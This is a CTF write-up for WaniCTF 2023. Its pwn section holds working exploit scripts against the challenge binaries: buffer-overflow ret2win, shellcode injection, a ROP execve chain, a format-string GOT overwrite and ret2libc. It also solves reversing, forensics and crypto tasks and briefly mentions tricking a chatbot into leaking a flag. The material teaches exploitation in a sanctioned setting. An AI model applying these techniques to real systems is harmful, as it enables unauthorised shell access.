CTF WriteUp: WaniCTF 2023

front

Over this weekend i played WaniCTF it was beginner freindly CTF where i solved some challenges over there ……………………

All challenges can be found here

Pwnable

netcat

Description

-> First, let’s challenge the displayed arithmetic problem.
-> After clearing the arithmetic problem, a new shell will be launched. There is no need to panic even if nothing is displayed on the screen. Try entering a command you know (such as ls or cat).

wasted more time than needed on this POS. thought, have to loop 100 times by evaluting the answer as it prompt “remaining 100 challenges” instead of manually answering the answer three time i wouldn’t if i have read hint given

netcat

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
import re

#r = remote("netcat-pwn.wanictf.org",9001)
elf = context.binary = ELF("./chall")
context.log_level = "info"

#r = process()
r = remote("netcat-pwn.wanictf.org",9001)

for i in range(5):
try:
r.recvline()
r.recvline()
data = r.recv().decode()
print(data)
equ = re.search(r"\d+\s*\+\s*\d+",data)
print("equ :",equ)
ans = eval(str(equ.group()))
print("ans : ",ans)
r.sendline(str(ans).encode())

except:
r.interactive()

only once

Description

In the pwn category, it is common for the problem server to distribute executable files and their source code. How does it differ from the source code of “netcat”?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
alarm(180);
}

int rand_gen() { return rand() % 1000; }

void win() { system("/bin/sh"); }

int main() {
init();
srand((unsigned int)time(NULL));

int x = rand_gen(), y = rand_gen();
int score = 0, chall = 1;
char buf[8];

while (1) {
printf("\n+---------------------------------------+\n");
printf("| your score: %d, remaining %d challenges |\n", score, chall);
printf("+---------------------------------------+\n\n");

if (chall == 0) {
printf("Bye!\n");
break;
}
printf("%3d + %3d = ", x, y);
scanf("%8s", buf);
if (atoi(buf) == x + y) {
printf("Cool!\n");
score++;
} else {
printf("Oops...\n");
score = 0;
}
if (score >= 3) {
printf("Congrats!\n");
win();
}

x = rand_gen();
y = rand_gen();
chall--;
}
return 0;
}

main workflow as follows

  • ask answer of math equation
  • if answer is as expected increment the score by 1 and call the win function if score >=3
  • if not nullify the socre
  • decrement the char

but here is one catch, program appears to have a buffer overflow vulnerability on the line scanf("%8s", buf);. If the user inputs a string longer than 8 characters, it will overflow the buffer and potentially overwrite adjacent memory location i.e. char variable here

so if you see buf has 8 byte length itself and function scanf("%8s", buf) allowing us to input 8 byte data on buf and as we know In C, strings are represented as arrays of characters terminated by a null byte (‘\0’) after 8 byte of user input null byte wii be overwritten to char variable so it is precisely null byte overflow

and because char is decrementing each time in loop it will never match if condition i.e. chall == 0 e.g

1
2
3
4
5
int c = 0;
while (c >= 0) {
// do something
c--;
}

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
import re,os

#r = remote("netcat-pwn.wanictf.org",9001)
elf = context.binary = ELF("./chall")
context.log_level = "info"

#r = process()
r = remote("netcat-pwn.wanictf.org",9002)
r.sendline("somedummyhere".encode())

for i in range(5):
try:
r.recvline()
r.recvline()
data = r.recv().decode()
print(data)
equ = re.search(r"\d+\s*\+\s*\d+",data)
print("equ :",equ)
ans = eval(str(equ.group()))
print("ans : ",ans)

r.sendline(str(ans).encode())
except:
r.interactive()

ret2win

Description

-> When a new function is called in a program, the pointer to the currently executing instruction is temporarily stored in the stack area.By restoring the instruction pointer, also known as the return address, that was saved in the stack area after the function call, the program can continue execution from where it left off immediately after the function call.
-> If you were able to overwrite the return address, you could jump to a free address in the program and execute instructions there. Could you take control of the shell by overwriting the return address that is restored after the main function ends with the address of the win function?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUF_SIZE 32
#define MAX_READ_LEN 48

void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
alarm(180);
}

void show_stack(char *buf) {
printf("\n #############################################\n");
printf(" # stack state #\n");
printf(" #############################################\n\n");

printf(" hex string\n");
for (int i = 0; i < MAX_READ_LEN; i += 8) {
printf(" +--------------------+----------+\n");
printf(" +0x%02x | 0x%016lx | ", i, *(unsigned long *)(buf + i));
for (int j = 7; j > -1; j--) {
char c = *(char *)(buf + i + j);
if (c > 0x7e || c < 0x20)
c = '.';
printf("%c", c);
}
if (i == 40)
printf(" | <- TARGET!!!\n");
else
printf(" |\n");
}
printf(" +--------------------+----------+\n");
}

void win() {
asm("xor %rax, %rax\n"
"xor %rsi, %rsi\n"
"xor %rdx, %rdx\n"
"mov $0x3b, %al\n"
"mov $0x68732f6e69622f, %rdi\n"
"push %rdi\n"
"mov %rsp, %rdi\n"
"syscall");
}

int ofs = 0, ret = 0;

int main() {
init();

char buf[BUF_SIZE] = {0};

printf("Let's overwrite the target address with that of the win function!\n");

while (ofs < MAX_READ_LEN) {
show_stack(buf);

printf("your input (max. %d bytes) > ", MAX_READ_LEN - ofs);
ret = read(0, buf + ofs, MAX_READ_LEN - ofs);
if (ret < 0)
return 1;
ofs += ret;
}
return 0;
}

typical re2win challenge, buffer overflow in read(0, buf + ofs, MAX_READ_LEN - ofs);
funtion

Exploit

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python3

from pwn import *

elf = ELF('./chall')
#io = process('./chall')
io = remote("ret2win-pwn.wanictf.org",9003)
payload=cyclic(40)+p64(elf.sym.win)
io.sendline(payload)
io.interactive()

shellcode_basic

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
char code[1024];
printf("Enter shellcode: ");
fgets(code, sizeof(code), stdin);
void (*shellcode)() = (void (*)())code;
shellcode();
return 0;
}

typical ret2shellcode, we have given template just send the shellcode with padding

1
2
3
4
5
6
7
8
from pwn import *

#pc = process("./chall")
pc = remote("shell-basic-pwn.wanictf.org",9004)
# pc = remote("",)
#shell_code = b"" # PUT YOUR SHELL CODE HERE
pc.sendline(asm(shellcraft.amd64.linux.sh(), arch='amd64'))
pc.interactive()

beginners ROP

Description

-> In “ret2win,” the shell was obtained by overwriting the return address with the address of the win function.
-> In this challenge, there is no win function available. In such cases, return-oriented programming (ROP) is an effective attack technique. You can launch a shell by continuously calling fragments of instructions that end with a “ret” called gadgets.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUF_SIZE 32
#define MAX_READ_LEN 96

void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
alarm(180);
}

void show_stack(char *buf) {
printf("\n #############################################\n");
printf(" # stack state #\n");
printf(" #############################################\n\n");

printf(" hex string\n");
for (int i = 0; i < MAX_READ_LEN; i += 8) {
printf(" +--------------------+----------+\n");
printf(" +0x%02x | 0x%016lx | ", i, *(unsigned long *)(buf + i));
for (int j = 7; j > -1; j--) {
char c = *(char *)(buf + i + j);
if (c > 0x7e || c < 0x20)
c = '.';
printf("%c", c);
}
if (i == 40)
printf(" | <- TARGET!!!\n");
else
printf(" |\n");
}
printf(" +--------------------+----------+\n");
}

void pop_rax_ret() { asm("pop %rax; ret"); }

void xor_rsi_ret() { asm("xor %rsi, %rsi; ret"); }

void xor_rdx_ret() { asm("xor %rdx, %rdx; ret"); }

void mov_rsp_rdi_pop_ret() {
asm("mov %rsp, %rdi\n"
"add $0x8, %rsp\n"
"ret");
}

void syscall_ret() { asm("syscall; ret"); }

int ofs = 0, ret = 0;

int main() {
init();

char buf[BUF_SIZE] = {0};

printf("Let's practice ROP attack!\n");

while (ofs < MAX_READ_LEN) {
show_stack(buf);

printf("your input (max. %d bytes) > ", MAX_READ_LEN - ofs);
ret = read(0, buf + ofs, MAX_READ_LEN - ofs);
if (ret < 0)
return 1;
ofs += ret;
}
return 0;
}

as hints says In this challenge, there is no win function available. In such cases, return-oriented programming (ROP) is an effective attack technique. You can launch a shell by continuously calling fragments of instructions that end with a “ret” called gadgets.

we have all gadgets given, use all these gadgets to make system call for execve() function with /bin/sh arg that would be second arg for execve system call

strategy
1
2
3
4
5
6
7
8
pop %rax; ret               # load rax with next value on stack (system call number)
xor %rsi, %rsi; ret # clear rsi (second argument)
xor %rdx, %rdx; ret # clear rdx (third argument)
mov %rsp, %rdi # load rdi with pointer to the command to execute (first argument)
add $0x8, %rsp # skip the old rax value and align the stack
ret # return to the next instruction

syscall; ret # trigger the system call

where

1
2
3
4
rax = 0x3b  # system call number for execve
rdi = pointer to "/bin/sh" # command to execute
rsi = pointer to NULL # arguments for the command
rdx = pointer to NULL # environment variables

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python3

from pwn import *

exe = ELF("chall_patched")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

context.binary = exe
context.log_level = "debug"
offset = 40

gdbscript = ''' continue '''

# Allows you to switch between local/GDB/remote from terminal
def conn(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe.path] + argv, *a, **kw)

def main():
r = conn()

# create ROP object and set gadgets
rop = ROP(exe)

pop_rax = 0x0000000000401371
xor_rsi_rsi = 0x000000000040137e
xor_rdx_rdx = 0x000000000040138d
mov_rsp_rdi = 0x000000000040139c
syscall = 0x00000000004013af

bin_sh = b'/bin/sh\x00'

# build ROP chain to open shell
chain = p64(pop_rax) + p64(0x3b) # RAX = 0x3b for execve()
chain += p64(xor_rsi_rsi) # RSI = 0
chain += p64(xor_rdx_rdx) # RDX = 0
chain += p64(mov_rsp_rdi)
chain += bin_sh
chain += p64(syscall) # call syscall

payload = cyclic(40) + chain

r.sendline(payload)
r.interactive()

if __name__ == "__main__":
main()

canaleak

Description

Canary is a random value assigned in memory to protect the stack. When this value changes, the program terminates abnormally.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>

void init() {
// alarm(600);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}

void win() { system("/bin/sh"); }

int main() {
char nope[20];
init();
while (strcmp(nope, "YES")) {
printf("You can't overwrite return address if canary is enabled.\nDo you "
"agree with me? : ");
scanf("%s", nope);
printf(nope);
}
}

again typical format string vuln with partial relro

checksec

i overwrote the printf@got with win function

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

elf = context.binary = ELF('./chall')
context.log_level = 'info'

#p = process()
p = remote("canaleak-pwn.wanictf.org",9006)

def got_ow():
payload = {
elf.got.printf: elf.sym.win
}
payload = fmtstr_payload(6,payload,write_size='short')
return payload

payload = got_ow()
p.recvuntil("me? : ")
p.sendline(payload)
p.interactive()

ret2libc

Description

-> To use gadgets in libc, you need to determine the location of libc in memory.
-> The return address from the main function already contains an address from libc. Although this address changes each time the program is executed, the relative address of libc is constant.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUF_SIZE 32
#define MAX_READ_LEN 128

void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
alarm(180);
}

void show_stack(char *buf) {
printf("\n #############################################\n");
printf(" # stack state #\n");
printf(" #############################################\n\n");

printf(" hex string\n");
for (int i = 0; i < MAX_READ_LEN; i += 8) {
printf(" +--------------------+----------+\n");
printf(" +0x%02x | 0x%016lx | ", i, *(unsigned long *)(buf + i));
for (int j = 7; j > -1; j--) {
char c = *(char *)(buf + i + j);
if (c > 0x7e || c < 0x20)
c = '.';
printf("%c", c);
}
if (i == 40)
printf(" | <- TARGET!!!\n");
else
printf(" |\n");
}
printf(" +--------------------+----------+\n");
}

int ofs = 0, ret = 0;

int main() {
init();

char buf[BUF_SIZE] = {0};

printf("Can you master ROP?\n");

while (ofs < MAX_READ_LEN) {
show_stack(buf);

printf("your input (max. %d bytes) > ", MAX_READ_LEN - ofs);
ret = read(0, buf + ofs, MAX_READ_LEN - ofs);
if (ret < 0)
return 1;
ofs += ret;
}
return 0;
}

running binary

ret2libc

leak the libc adress we can use this to calculate the base of libc

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3

from pwn import *

exe = ELF("chall_patched")
libc = ELF("./libc.so.6")

context.binary = exe
context.log_level = "debug"
offset = 40

gdbscript = ''' continue '''

## Allows you to switch between local/GDB/remote from terminal
def conn(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe.path] + argv, *a, **kw)

def main():
r = conn()

## leaking libc

r.recvuntil(" +0x28 | ")
leak1 = r.recvline().split(b"|")[0].strip()
leak1 = int(leak1,16)
print("leak1 : ", hex(leak1))

## calculating libc base
#libc.address = leak1 - (libc.symbols['__libc_start_call_main']+128)
libc.address = leak1 - 0x29d90 # libc offset
print("libc base : ", hex(libc.address))

## addresses
ret = 0x0000000040101a
pop_rdi = libc.address + 0x2a3e5
bin_sh = next(libc.search(b"/bin/sh"))
system = libc.sym.system

log.info("pop_rdi : 0x%x"%pop_rdi)
log.info("bin_sh : 0x%x"%bin_sh)
log.info("system : 0x%x"%system)

payload1 = cyclic(40) + pack(ret) + pack(pop_rdi) + pack(bin_sh) + pack(system)
#payload2 = cyclic(40) + pack(libc.address + 0xebcf8)

r.sendline(payload1.ljust(128,b"i"))
r.interactive()

if __name__ == "__main__":
main()

time table

zzzzzzzzzzzz

Rev

Just_Passw0rd

just_password

javersing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.util.Scanner;  

public class javersing {
public static void main(String[] paramArrayOfString) {
String str1 = "Fcn_yDlvaGpj_Logi}eias{iaeAm_s";
boolean bool = true;
Scanner scanner = new Scanner(System.in);
System.out.println("Input password: ");
String str2 = scanner.nextLine();
str2 = String.format("%30s", new Object[] { str2 }).replace(" ", "0");
for (byte b = 0; b < 30; b++) {
if (str2.charAt(b * 7 % 30) != str1.charAt(b))
bool = false;
}
if (bool) {
System.out.println("Correct!");
} else {
System.out.println("Incorrect...");
}
}
}

okay i didn’t figure out this challenge at run time but later got to realize i just had to find the inverse of 7 modulo 30 to reverse the logic

To find the inverse of 7 modulo 30, we need to find a number x such that:

7x ≡ 1 (mod 30)

In other words, we are looking for a number x such that when we multiply 7 by x and then take the result modulo 30, we get a remainder of 1.
One way to solve this is to use the extended Euclidean algorithm. We can write:

30 = 4 × 7 + 2 7 = 3 × 2 + 1

Now we can work backwards to find the values of x and y that satisfy:

1 = 7 − 3 × 2 1 => 7 − 3(30 − 4 × 7) 1 => 13 × 7 − 3 × 30

Therefore, the inverse of 7 modulo 30 is 13. In other words, 7 and 13 are multiplicative inverses modulo 30, since:

7 × 13 ≡ 1 (mod 30)

solve

javaversing

Edit: silly me, me noob kept doing this

1
2
3
4
5
str = "Fcn_yDlvaGpj_Logi}eias{iaeAm_s"
flag = ""
for i in range(30):
flag += str[i*7%30]
print(flag)

instead

1
2
3
4
5
6
7
8
str = "Fcn_yDlvaGpj_Logi}eias{iaeAm_s"

flag = [None for _ in range(30)]
for i in range(30):
flag[i*7%30] = str[i]
print("".join(flag))
FLAG{Decompiling_java_is_easy}

fermat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

void print_flag(void)

{
long in_FS_OFFSET;
int local_bc;
undefined4 local_b8 [20];
undefined8 local_68;

long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_b8[0] = 0xf781fc86;
local_b8[1] = 0xc5afc9bb;
local_b8[2] = 0xd5a5de9f;
local_b8[3] = 0xefa1efa4;
local_b8[4] = 0xefb4dfac;
local_b8[5] = 0xc49fd6af;
local_b8[6] = 0xefa5dda9;
local_b8[7] = 0xefa4dea1;
local_b8[8] = 0xdfa6d6a5;
local_b8[9] = 0xc49fc4b2;
local_b8[10] = 0xdfb3efaf;
local_b8[11] = 0xefa5c6ac;
local_b8[12] = 0xd5b6d5b2;
local_b8[13] = 0xdea9c3b2;
local_b8[14] = 0x80f2efa7;
local_b8[15] = 0x87f4d2f8;
local_b8[16] = 0x86f6d4a2;
local_b8[17] = 0xd4a382a3;
local_b8[18] = 0xb0c0cdf8;
local_68 = 0;

for (local_bc = 0; local_bc < 0x13; local_bc = local_bc + 1) {
*(byte *)((long)&local_68 + (long)(local_bc << 2)) = (byte)local_b8[local_bc] ^ 0xc0;
*(byte *)((long)&local_68 + (long)(local_bc * 4 + 1)) =
(byte)((uint)local_b8[local_bc] >> 8) ^ 0xb0;
*(byte *)((long)&local_68 + (long)(local_bc * 4 + 2)) =
(byte)((uint)local_b8[local_bc] >> 0x10) ^ 0xc0;
*(byte *)((long)&local_68 + (long)(local_bc * 4 + 3)) =
(byte)((uint)local_b8[local_bc] >> 0x18) ^ 0xb0;
}
puts((char *)&local_68);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def print_flag():
local_b8 = [0xf781fc86, 0xc5afc9bb, 0xd5a5de9f, 0xefa1efa4, 0xefb4dfac,
0xc49fd6af, 0xefa5dda9, 0xefa4dea1, 0xdfa6d6a5, 0xc49fc4b2,
0xdfb3efaf, 0xefa5c6ac, 0xd5b6d5b2, 0xdea9c3b2, 0x80f2efa7,
0x87f4d2f8, 0x86f6d4a2, 0xd4a382a3, 0xb0c0cdf8]

flag = ''
for val in local_b8:
flag += chr((val & 0xff) ^ 0xc0)
flag += chr(((val >> 8) & 0xff) ^ 0xb0)
flag += chr(((val >> 16) & 0xff) ^ 0xc0)
flag += chr(((val >> 24) & 0xff) ^ 0xb0)

print(flag)

print_flag()

theseus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
undefined8 main(void)

{
char cVar1;
int iVar2;
undefined8 uVar3;
long in_FS_OFFSET;
int local_68;
int i;
int local_60;
char local_48 [56];
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
iVar2 = getpagesize();
mprotect((void *)((long)-iVar2 & 0x4011e9),(long)iVar2,7);
printf("Input flag: ");
__isoc99_scanf(&DAT_00402011);
local_68 = 0;
for (i = 0; i < 26; i = i + 1) {
if (3 < i) {
local_68 = (i * 0xb) % 0xf;
}
cVar1 = (char)local_68;
if (i < 8) {
compare[i + 0x25] = (code)((char)compare[i + 0x25] + cVar1);
}
else {
if (i < 0x10) {
compare[i + 0x27] = (code)((char)compare[i + 0x27] + cVar1);
}
else {
if (i < 0x18) {
compare[i + 0x31] = (code)((char)compare[i + 0x31] + cVar1);
}
else {
compare[i + 0x39] = (code)((char)compare[i + 0x39] + cVar1);
}
}
}
}
local_60 = 0;
do {
if (0x19 < local_60) {
puts("Correct!");
uVar3 = 0;
LAB_00401478:
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return uVar3;
}
iVar2 = compare((int)local_48[local_60],local_60);
if (iVar2 == 0) {
puts("Incorrect.");
uVar3 = 1;
goto LAB_00401478;
}
local_60 = local_60 + 1;
} while( true );
}

Solve

1
2
3
4
5
6
7
8
9
10
11
12
import angr
import re

project = angr.Project("./chall", auto_load_libs=False)

@project.hook(0x401467) # Target address
def print_flag(state):
print("VALID INPUT:", state.posix.dumps(0))
project.terminate_execution()

project.execute()

Forensic

Just_mp4

just_mp4

whats_happening

file updog is likely an ISO image file. ISO 9660 is a standard file system for optical disc media, such as CD-ROMs and DVD-ROMs, and the “ISO Label” indicates that the ISO file has been created according to ISO standards.

we can mount this ISO file as follows

1
2
$ mkdir ~/iso_mount
$ sudo mount -o loop updog ~/iso_mount

after mounting

whats_happening

lowkey_messedup

pcap file given this time opening the file on wireshark we see that its USB based pcap file, now as there are USB-Mouse/ Keyboard and Storage devices. There would be data related to that to figure out if device connected is the keyboard, we can actually, check for the “interrupt in” info section and data below Leftover Capture Data

lowkey_messedup

extracting these data from each packet

1
tshark -r chall.pcap -T fields -e usb.capdata > data.txt

and magic (got through this blog)

lowkey_messedup_flag

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/python
# coding: utf-8
from __future__ import print_function
import sys,os

#declare -A lcasekey
lcasekey = {}
#declare -A ucasekey
ucasekey = {}

#associate USB HID scan codes with keys
#ex: key 4 can be both "a" and "A", depending on if SHIFT is held down
lcasekey[4]="a"; ucasekey[4]="A"
lcasekey[5]="b"; ucasekey[5]="B"
lcasekey[6]="c"; ucasekey[6]="C"
lcasekey[7]="d"; ucasekey[7]="D"
lcasekey[8]="e"; ucasekey[8]="E"
lcasekey[9]="f"; ucasekey[9]="F"
lcasekey[10]="g"; ucasekey[10]="G"
lcasekey[11]="h"; ucasekey[11]="H"
lcasekey[12]="i"; ucasekey[12]="I"
lcasekey[13]="j"; ucasekey[13]="J"
lcasekey[14]="k"; ucasekey[14]="K"
lcasekey[15]="l"; ucasekey[15]="L"
lcasekey[16]="m"; ucasekey[16]="M"
lcasekey[17]="n"; ucasekey[17]="N"
lcasekey[18]="o"; ucasekey[18]="O"
lcasekey[19]="p"; ucasekey[19]="P"
lcasekey[20]="q"; ucasekey[20]="Q"
lcasekey[21]="r"; ucasekey[21]="R"
lcasekey[22]="s"; ucasekey[22]="S"
lcasekey[23]="t"; ucasekey[23]="T"
lcasekey[24]="u"; ucasekey[24]="U"
lcasekey[25]="v"; ucasekey[25]="V"
lcasekey[26]="w"; ucasekey[26]="W"
lcasekey[27]="x"; ucasekey[27]="X"
lcasekey[28]="y"; ucasekey[28]="Y"
lcasekey[29]="z"; ucasekey[29]="Z"
lcasekey[30]="1"; ucasekey[30]="!"
lcasekey[31]="2"; ucasekey[31]="@"
lcasekey[32]="3"; ucasekey[32]="#"
lcasekey[33]="4"; ucasekey[33]="$"
lcasekey[34]="5"; ucasekey[34]="%"
lcasekey[35]="6"; ucasekey[35]="^"
lcasekey[36]="7"; ucasekey[36]="&"
lcasekey[37]="8"; ucasekey[37]="*"
lcasekey[38]="9"; ucasekey[38]="("
lcasekey[39]="0"; ucasekey[39]=")"
lcasekey[40]="Enter"; ucasekey[40]="Enter"
lcasekey[41]="esc"; ucasekey[41]="esc"
lcasekey[42]="del"; ucasekey[42]="del"
lcasekey[43]="tab"; ucasekey[43]="tab"
lcasekey[44]="space"; ucasekey[44]="space"
lcasekey[45]="-"; ucasekey[45]="_"
lcasekey[46]="="; ucasekey[46]="+"
lcasekey[47]="["; ucasekey[47]="{"
lcasekey[48]="]"; ucasekey[48]="}"
lcasekey[49]="\\"; ucasekey[49]="|"
lcasekey[50]=" "; ucasekey[50]=" "
lcasekey[51]=";"; ucasekey[51]=":"
lcasekey[52]="'"; ucasekey[52]="\""
lcasekey[53]="`"; ucasekey[53]="~"
lcasekey[54]=","; ucasekey[54]="<"
lcasekey[55]="."; ucasekey[55]=">"
lcasekey[56]="/"; ucasekey[56]="?"
lcasekey[57]="CapsLock"; ucasekey[57]="CapsLock"
lcasekey[79]="RightArrow"; ucasekey[79]="RightArrow"
lcasekey[80]="LeftArrow"; ucasekey[80]="LeftArrow"
lcasekey[84]="/"; ucasekey[84]="/"
lcasekey[85]="*"; ucasekey[85]="*"
lcasekey[86]="-"; ucasekey[86]="-"
lcasekey[87]="+"; ucasekey[87]="+"
lcasekey[88]="Enter"; ucasekey[88]="Enter"
lcasekey[89]="1"; ucasekey[89]="1"
lcasekey[90]="2"; ucasekey[90]="2"
lcasekey[91]="3"; ucasekey[91]="3"
lcasekey[92]="4"; ucasekey[92]="4"
lcasekey[93]="5"; ucasekey[93]="5"
lcasekey[94]="6"; ucasekey[94]="6"
lcasekey[95]="7"; ucasekey[95]="7"
lcasekey[96]="8"; ucasekey[96]="8"
lcasekey[97]="9"; ucasekey[97]="9"
lcasekey[98]="0"; ucasekey[98]="0"
lcasekey[99]="."; ucasekey[99]="."

#make sure filename to open has been provided
if len(sys.argv) == 2:
keycodes = open(sys.argv[1])
for line in keycodes:
#dump line to bytearray
bytesArray = bytearray.fromhex(line.strip())
#see if we have a key code
val = int(bytesArray[2])
if val > 3 and val < 100:
#see if left shift or right shift was held down
if bytesArray[0] == 0x02 or bytesArray[0] == 0x20 :
print(ucasekey[int(bytesArray[2])], end=''), #single line output
#print(ucasekey[int(bytesArray[2])]) #newline output
else:
print(lcasekey[int(bytesArray[2])], end=''), #single line output
#print(lcasekey[int(bytesArray[2])]) #newline output
else:
print("USAGE: python %s [filename]" % os.path.basename(__file__))

Misc

Prompt

Description

prompt_desc

going through main.py file given got this section that seems flag will be visible if role is system and whatnot (just guessed)

prompt

i tried this one and got the flag

prompt_flag

i dont know the intended way to solve this challenge as second time it didnt work.

playing with some question containg flag word got another hit , as this ai bot can be trick

prompt_flag2

Crypto

EZDORSA_Lv1

crypto1.png

you know what time it is? its chatGPT time :p

crypto1.png

Web

IndexedDB

It appears that the flag has been hidden somewhere on this page. Let’s use the browser’s developer tools to find it.

web1.gif